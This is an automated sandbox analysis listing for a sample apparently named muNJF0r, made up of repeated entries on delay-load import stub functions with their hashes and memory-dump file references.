Instruction ID: 4acb615562c812ba471d84d5567be503e9e5fb0733e8e6cd749909c07b031d41
Opcode Fuzzy Hash: 4d9f9682c8edd506657151fa2b4a9b006c8e206a209ebc5bcb14bc4b3ddf1b8f
Instruction Fuzzy Hash: B0B092E1258141AE264451096C02CBA01CDC084B1033081AAB826C01A0E880A9404431

Function 00BBE21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bb7e3130acf90742ec06394593522c979674884e9b1ed99b6b2d8a9bbbe95b13
Instruction ID: 99eabbdcf34f91c845a1a19a0f8be7cd1ae7e8381bdfd34e0a7f66d57a8a2de7
Opcode Fuzzy Hash: bb7e3130acf90742ec06394593522c979674884e9b1ed99b6b2d8a9bbbe95b13
Instruction Fuzzy Hash: C7B092E1259041AE260451096C02CBA01CDC085B10330C0AAB826C01A0E880E9004471

Function 00BBE20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1c98f37f4dfa42781c5ae948ecf00ff1cc614df9ef4f352199b10c22877cd38b
Instruction ID: f6f4a87f9ccaaaf3fcd26236b4bd16d6b9bad3c4f62b89f54f2c7b2cb0f67f31
Opcode Fuzzy Hash: 1c98f37f4dfa42781c5ae948ecf00ff1cc614df9ef4f352199b10c22877cd38b
Instruction Fuzzy Hash: D3B012E1258041EE3504520A6D03CFB41CDC0C4B10330C0BFF825C02E0FCD0ED494431

Function 00BBE200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 32c63ab802375f0e0fcb3203d07fe85537e607cc4c88da8f93185214f63be6a0
Instruction ID: cf1a8e9b5be076a582764ca3b729303349fb38f377135e46aa9d96daaefa0fe8
Opcode Fuzzy Hash: 32c63ab802375f0e0fcb3203d07fe85537e607cc4c88da8f93185214f63be6a0
Instruction Fuzzy Hash: F5B092E1258181AE254452096C02CBA01CDC084B10330C1AAB825C02A0E880A8444431

Function 00BBE26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e9a029d8353b7e672aa6443f3e6d44eb2cae12331411391d5852677c410cdca9
Instruction ID: 281a23b6fea45782e252292f3bba7ae8b4c019f97fd7135a0513ad79e5f467c0
Opcode Fuzzy Hash: e9a029d8353b7e672aa6443f3e6d44eb2cae12331411391d5852677c410cdca9
Instruction Fuzzy Hash: C3B012E1258041AE350451196C03CFF01DDC0C5B10330C0BFFD25C01E0F9C0EC004471

Function 00BBE264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a60d37fca1b571d82daf56845ff221e0cf47cfe4276818af3100c948a94b9e02
Instruction ID: f9ddc8c9413f300892acb9bd3ac52ffcaa4c25878353ebaeb2c8742f909289a9
Opcode Fuzzy Hash: a60d37fca1b571d82daf56845ff221e0cf47cfe4276818af3100c948a94b9e02
Instruction Fuzzy Hash: 7EB012E126D081AE350451096C03CFB01CED4C8B10330C0BFF826C41E0F8C0EC004431

Function 00BBE250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9184ab7c86227272f5cb286abe16325c8d16286ec8570b36a16a9de9c79b47af
Instruction ID: f0504a4b18d24b88d541c84a549a8c647894f9f7626aa0d428161b5c1443c786
Opcode Fuzzy Hash: 9184ab7c86227272f5cb286abe16325c8d16286ec8570b36a16a9de9c79b47af
Instruction Fuzzy Hash: 1AB092E1259181AE254452096C02CBA01CEC084B1033081AAB825C41A0E880A8444431

Function 00BBE246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE1E3

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 59840227cd83fe48ba1aa5430dd52f8e69c48a532431a882459064bbb8577af2
Instruction ID: de30e16d008cec934061bbd377161b56246d007891d2fe880420a42708c6ac24
Opcode Fuzzy Hash: 59840227cd83fe48ba1aa5430dd52f8e69c48a532431a882459064bbb8577af2
Instruction Fuzzy Hash: D5B012E125D081AE350451096C03CFB01CEC0C5B10330C0BFFC25D41E0F8C0EC004471

Function 00BBE423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fd8c88069e01b8949bbc7352fecc8206260b57322a6d770bbcbe684b051a93d7
Instruction ID: b7c33bec8274a5b16900be60020d66cd15fe9d08b7992b01f1e29e35aebf4909
Opcode Fuzzy Hash: fd8c88069e01b8949bbc7352fecc8206260b57322a6d770bbcbe684b051a93d7
Instruction Fuzzy Hash: 77B012F125A041BE368492045C42CF702CDC0C0F1033080BFF824C61E0F8C0CE005473

Function 00BBE419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6f1755390c58a20950644e514df670703f2f3709e2cc35a68a60bc93c075b8b7
Instruction ID: d7a5fb9a4184804d4b5d4f7bd94ec45fa4e89af2455cd7da4b926dd1b2d16468
Opcode Fuzzy Hash: 6f1755390c58a20950644e514df670703f2f3709e2cc35a68a60bc93c075b8b7
Instruction Fuzzy Hash: 48B012E12590417E358452055D42CF742CDC0C0B10330C0BFF524C61E0F8C0CC495473

Function 00BBE44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 11e5c18d156ae203ae8cfb27e83824090620bd94e82a172bd0c6c737dcc54d4c
Instruction ID: 040f42991ed25d7dc902671a1a30d87d27e3585b9a9dd8236a7042f500560b5c
Opcode Fuzzy Hash: 11e5c18d156ae203ae8cfb27e83824090620bd94e82a172bd0c6c737dcc54d4c
Instruction Fuzzy Hash: 84B012E1259141BE358492045C42CF702CDC0C0B10330C0BFF824C61E0F8C0CC045473

Function 00BBE5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE580

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 681a7950bad51bb239d2c712df164a8028bd0f973efd3477362e8fdb67153bb3
Instruction ID: a6e6b5702cc13f84b00c47e16eaa4a4d74263060fcab91eedf6d0d491c632887
Opcode Fuzzy Hash: 681a7950bad51bb239d2c712df164a8028bd0f973efd3477362e8fdb67153bb3
Instruction Fuzzy Hash: 22B012D12581417E354851549C0BCFB01EDC4C4B1033042AFF424C21E0F8C0CD404435

Function 00BBE5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE580

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e5d944eb6f81f41038e27b94c9dd94e0e3364993028860750d27268a5c49d878
Instruction ID: 339dc7d5fb6b2867aa59ffeae70e8894da552d1f0295f0134f97f8624d651135
Opcode Fuzzy Hash: e5d944eb6f81f41038e27b94c9dd94e0e3364993028860750d27268a5c49d878
Instruction Fuzzy Hash: 03B012D12580417E350851559D06CFB41EDC4C4B1033042AFF424C21E0FCC0CE014435

Function 00BBE593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE580

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5081b08870b27903bace6d13f3ccf6028b360500f5ebe1d48461da2425d6fcb5
Instruction ID: bcb0dadce7fbbd4595cc392a331e96148f4f0af57ba22b9c8d8d809d98d3a842
Opcode Fuzzy Hash: 5081b08870b27903bace6d13f3ccf6028b360500f5ebe1d48461da2425d6fcb5
Instruction Fuzzy Hash: 0DB012D12580417F350852545C02CFB01CDC5C8B1033040AFF824C21E0F8C0CC044435

Function 00BBE532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a7f5288cf70884c0d2bb4e46b594690c708816fec7d061a60a15a646eecd61fd
Instruction ID: 82078f4940e72196f4c732037cd0bd06601fadad77d4da8cf158d2ae2ef99e34
Opcode Fuzzy Hash: a7f5288cf70884c0d2bb4e46b594690c708816fec7d061a60a15a646eecd61fd
Instruction Fuzzy Hash: 96B012C12994417F350462085C02DFB05CDC0C2F1433041EFF824C11E0FCC0CC044432

Function 00BBE528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 52b41609426dfb33fe075ccfd5fc0bc29b4c243b8b035bff640485aa243f0616
Instruction ID: 23159d5f82d9a5685623ed9988fa22824c54d493590093c75b1fe998dffb16f3
Opcode Fuzzy Hash: 52b41609426dfb33fe075ccfd5fc0bc29b4c243b8b035bff640485aa243f0616
Instruction Fuzzy Hash: B9B012C12994827E350462095D02CFB49CDC0C2F1433081EFF924C11E0FCC0CC014432

Function 00BBE50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0fe10c1f326a68066812093d6ccfbe412fbb4c6091744a24a1553a9a5b7edf87
Instruction ID: 2dc42f6f1106fdd71b5bf357d23805c11fcbea026e37df4de6086072cb68c7c5
Opcode Fuzzy Hash: 0fe10c1f326a68066812093d6ccfbe412fbb4c6091744a24a1553a9a5b7edf87
Instruction Fuzzy Hash: 2CB012D12994417E350421245C06CFB05CDC0C2F1433041FFF430C04E1F8C0CD044432

Function 00BBE546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
